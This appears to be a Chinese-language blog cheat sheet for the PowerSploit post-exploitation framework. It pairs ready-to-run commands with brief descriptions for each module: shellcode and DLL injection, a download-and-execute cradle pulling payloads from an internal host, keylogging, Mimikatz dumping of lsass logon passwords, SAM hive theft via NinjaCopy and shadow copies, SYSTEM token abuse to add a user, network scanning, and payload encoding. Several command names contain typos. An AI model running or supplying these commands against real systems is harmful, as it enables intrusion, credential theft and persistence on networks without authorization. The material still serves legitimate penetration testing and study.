PowerSploit 是基于 PowerShell 的后渗透框架. 在功能上分为杀软绕过, 命令执行, 特权提升, 权限维持, 信息收集等模块及一些辅助性脚本.
限于篇幅, 仅针对常用脚本进行说明.
Table of contents
Open Table of contents
PowerSploit
PowerSploit 是基于 PowerShell 的后渗透框架. 在功能上分为杀软绕过, 命令执行, 特权提升, 权限维持, 信息收集等模块及一些辅助性脚本.
限于篇幅, 仅针对常用脚本进行说明.
CodeExecution
命令执行.
Invoke-DllInjection
向指定进程注入 DLL.
Invoke-DllInjection -ProcessID 1234 -Dll .\payload.dll
Invoke-Shellcode
向指定进程注入 Shellcode.
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/payload.ps1')
Invoke-Shellcode -ProcessID 1234 -Shellcode $buf
Invoke-ReflectivePEInjection
反射型 DLL/PE 注入. 可从网络加载 DLL/PE 文件.
Invoke-ReflectivePEInjection -PEUrl http://192.168.1.100/payload.exe -Force
Privesc
特权提升.
PowerUp
检查可用的提权方法.
Invoke-AllChecks
Exfiltration
针对本机的信息收集.
Get-GPPPassword
导出组策略中配置的用户名和密码 (GPP 漏洞).
GET-GPPPassword
Get-Keystrokes
键盘记录.
Get-Keystrokes -LogPath .\keylog.txt
Get-TimedScreenshot
定时截图.
Get-TimedScreenshoft -Path .\ -Interval 10
Get-VaultCredential
导出 Windows 凭据.
Get-VaultCredential
Invoke-Mimikatz
Mimikatz 的 PowerShell 版本.
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-NinjaCopy
强行复制被进程占用的文件.
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\SAM
Invoke-TokenManipulation
窃取凭据. 实际测试只能通过 CreateProcess 的方式以 SYSTEM 权限执行命令.
Invoke-TokenManipulation -UserName "NT AUTHORITY\SYSTEM" -CreateProcess cmd.exe -ProcessArgs "net user test test /add"
Out-Minidump
procdump 的 PowerShell 版本.
Get-Process lsass | Out-Minidump
VolumeShadowCopyTools
ShadowCopy 的 PowerShell 版本.
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy
Mount VolumeShadowCopy -Path .\ -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
copy .\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .\
Remove-VolumeShadowCopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Recon
针对内网的信息收集.
Get-ComputerDetail
获取日志信息, 如 RDP 日志, 事件日志.
Get-ComputerDetail
Get-HttpStatus
目录扫描.
Get-HttpStatus -Target 192.168.1.1 -Port 8080 -Path .\admin.txt
Invoke-Portscan
端口扫描.
Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -TopPorts 50
Invoke-ReverseDnsLookup
内网 IP 反查主机名.
Invoke-ReverseDnsLookup '192.168.1.0/24,10.0.0.1'
PowerView
域渗透信息收集框架 PowerView.
ScriptModification
脚本更改.
Out-CompressdDLL
将 DLL 编码为可在 PowerShell 中调用的格式.
Out-CompressdDLL -FilePath .\payload.dll
Out-EncodedCommand
将 PowerShell 命令或文件编码为 base64 格式.
Out-EncodedCommand -ScriptBlock {"whoami"}
Out-EncodedCommand -Path .\payload.ps1
Remove-Comment
去除脚本中的空格和注释.
Remove-Comment -Path .\payload.ps1